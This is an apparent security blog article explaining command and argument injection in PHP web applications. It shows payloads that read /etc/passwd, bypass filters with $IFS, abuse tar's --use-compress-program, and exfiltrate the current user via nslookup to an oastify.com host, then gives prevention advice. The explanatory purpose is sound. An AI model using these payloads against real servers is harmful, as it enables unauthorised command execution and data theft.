What is Command Injection? Exploitations and Security Best Practices

Command injections are one of the most critical vulnerabilities in web security. They occur when an attacker manages to execute arbitrary system commands on the web server. This type of attack can result in the leakage of sensitive data, data corruption or complete control of the target environment.

In this article, we explore the principles and methods of command injection exploitation. We also present the security best practices and measures to implement to prevent these attacks.

What is Command Injection?

Command injections occur when user input is not properly validated before being integrated into functions that execute system commands. If an application accepts data from users without filtering it, an attacker can hijack the initial command and execute arbitrary commands.

To bypass the intended command, it is possible to use special characters that act as command separators, allowing the original context to be removed and other commands to be executed. The main command separators on Windows and Unix systems include: &, &&, | or ||.

On Unix systems, there are additional separators that can also be used to chain commands.

;
0x0a ou \n (caractère du saut à la ligne)
`
$()

How to Identify and Exploit Command Injections?

Several approaches can be taken to identify command injection vulnerabilities.

One is to examine the application’s source code to identify where system commands are executed with unvalidated user input.

Another approach is to use pre-established dictionaries of payloads to detect vulnerabilities. By sending these payloads to the server and analysing the responses, it is possible to determine whether the server is vulnerable to command injections.

This is the method we are going to explore, focusing on the most common cases of exploitation from a black box point of view.

Let’s take the case of a PHP application running on a Linux server that returns the IP address for a given domain name.

What can often attract the attention of a pentester is the use of functions suggesting the execution of system commands.

For example, one might assume that the backend uses a system function to call a native binary such as dig, allowing DNS servers to be queried.

As a simplified example, the code might look something like this:

shell_exec("dig ".$_POST['domain']);

In this context, it is possible to add characters that allow several system commands to be chained together. For example, by adding the ‘;’ character followed by the cat /etc/passwd command, you can display the contents of the ‘/etc/passwd’ file.

In this way, the command executed by the server will be as follows:

dig ;cat /etc/passwd

The server responds with part of the contents of the ‘/etc/passwd’ file, confirming that the server is vulnerable to command injection.

It may happen that the server does not return the result of the commands in its response. In this case, several binaries native to the operating systems can be used to confirm a command injection.

For example, the ‘sleep’ binary under Linux or ‘timeout’ under Windows can be used to temporarily suspend server activity. If an attacker uses these commands, the server will pause execution before returning a response.

Let’s take the example of a function that allows you to subscribe to a newsletter. This feature only returns a standard message confirming that the user has subscribed.

To check whether this functionality is vulnerable to command injections, we will use the sleep command under Linux, which will suspend execution of the server for 5 seconds.

The payload used will be:

;sleep 5

As the following screenshot shows, the server waited more than 5 seconds before responding, which confirms that the server is vulnerable.

Servers can sometimes use blacklists to filter certain specific characters or strings, such as spaces or certain commands. To bypass a blacklist, you can exploit alternative characters, use different encodings, or take advantage of system-specific variables.

In our example, the server removes all spaces from user input. At first sight, this seems to be an effective solution, as this filter considerably limits the exploitation of blind command injections.

However, there are several techniques for bypassing this type of filter.

One such trick, on Linux servers, is to use the IFS (Internal Field Separator) variable. This variable is used to define a character other than a space as a field separator. By modifying this variable, it is possible to replace spaces, thus bypassing the filter while maintaining the correct syntax of the injected commands.

So, instead of using the command:

;sleep 5

The filter can be bypassed by using the following payload:

;sleep{$IFS}5

Understanding the vulnerability

In some cases, user input is processed in functions that are executed asynchronously.

Asynchronous execution allows the server to continue running without interrupting the main program. As a result, commands executed in this way have no direct impact on the server’s response.

It therefore becomes impossible to use commands such as ‘sleep’ and rely on the server’s response time to confirm that the server is vulnerable to command injections.

This is where out-of-band testing comes in handy. This type of test involves using protocols such as SMTP, HTTP or DNS to exfiltrate data to a server controlled by the attacker.

In the following example, we will demonstrate a technique for exfiltrating data using DNS resolution.

Exploitation with DNS exfiltration

It is possible to exfiltrate information using command substitution. The idea is to include the output of the desired command as a sub-domain of a domain controlled by the attacker, and then trigger a DNS query to that server. The authoritative DNS server, managed by the attacker, will receive this request and thus capture the information contained in the sub-domain.

The following payload implements this technique:

&nslookup $(whoami).2be49ebqfgnfrxyjeqammobl8ce32uqj.oastify.com&

In this example, the DNS server receives the request with the result of the command, which in this case is the name of the current user ‘peter-hiHxI0’.

Mechanisms of argument injection

When user input is no longer concatenated but passed as an argument to functions, this may seem safe at first glance. However, this introduces a sub-type of command injection: argument injection.

Argument injection consists of manipulating arguments passed to system commands to obtain undesirable or dangerous behaviour. Depending on the binary used by the application, the impact can range from simple disclosure of information to remote command execution.

Exploiting argument injection

Let’s take the example of a PHP application that uses user input to create an archive.

The application uses the following code:

if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['file']) && is_array($_GET['file'])) {
    $files_to_archive = [];

    // Escaping each argument to avoid command injections
    foreach ($_GET['file'] as $file) {
        if (!empty($file)) { 
            $files_to_archive[] = escapeshellarg($file);
        }
    }

    if (!empty($files_to_archive)) {
        // Build tar command
        $command = "tar cf my.tar " . implode(' ', $files_to_archive);

        // Execute command
        exec($command, $output, $return_var);
}

The code uses the escapeshellarg function to pass several arguments to the tar command, instead of concatenating user input directly in the exec function. This secures the execution of the command by escaping all the special characters that could be used for command injection.

However, using the tar command can present risks, particularly through the ‘use-compress-program’ argument. This argument initially extends tar’s capabilities by allowing the use of external compression programs.

Its use can be abused to launch system commands.

Here is an example with a command that executes the sleep command.

tar --use-compress-program='sleep 5 ' -cf /tmp/passwd /etc/passwd

In the context of our web application, this would give us the following payload:

/arg.php?file[]=x&file[]=--use-compress-program&file[]=sleep 5

As we can see in the following screenshot, the server responds 5 seconds later, confirming that the application is vulnerable to argument injections.

How to Prevent Command Injection Attacks?

To protect against command injection attacks, it is essential to minimise the risks by avoiding, as far as possible, passing user input directly into system functions.

One of the most effective ways of doing this is to avoid using system functions when they are not strictly necessary. Many common tasks can be performed using high-level functions provided by the programming language used. These functions are designed to be secure and insulated from the risks inherent in executing shell commands directly.

For example, it would be bad practice to use the system() function to create a directory when the mkdir() function exists in PHP.

In cases where the use of system commands is unavoidable, it is crucial to validate and sanitise user input. This means that any data supplied by the user must be validated against a whitelist that strictly defines the characters and formats permitted.

White list validation consists of authorising only alphanumeric characters (A-Z, a-z, 0-9) and ensuring that spaces are not authorised.

To correct argument injection, one fix is to use the ‘-’ delimiter to indicate the end of options and force subsequent arguments to be interpreted as operands.

In this way, the following command can no longer allow a user to add arbitrary arguments.

touch -- $user_input

When working with programs that don’t handle the end of options, such as zip, the safest way to proceed is to prefix any user-controlled path with ‘./’ or ‘./’.

Author: Yacine DJABER – Pentester @Vaadata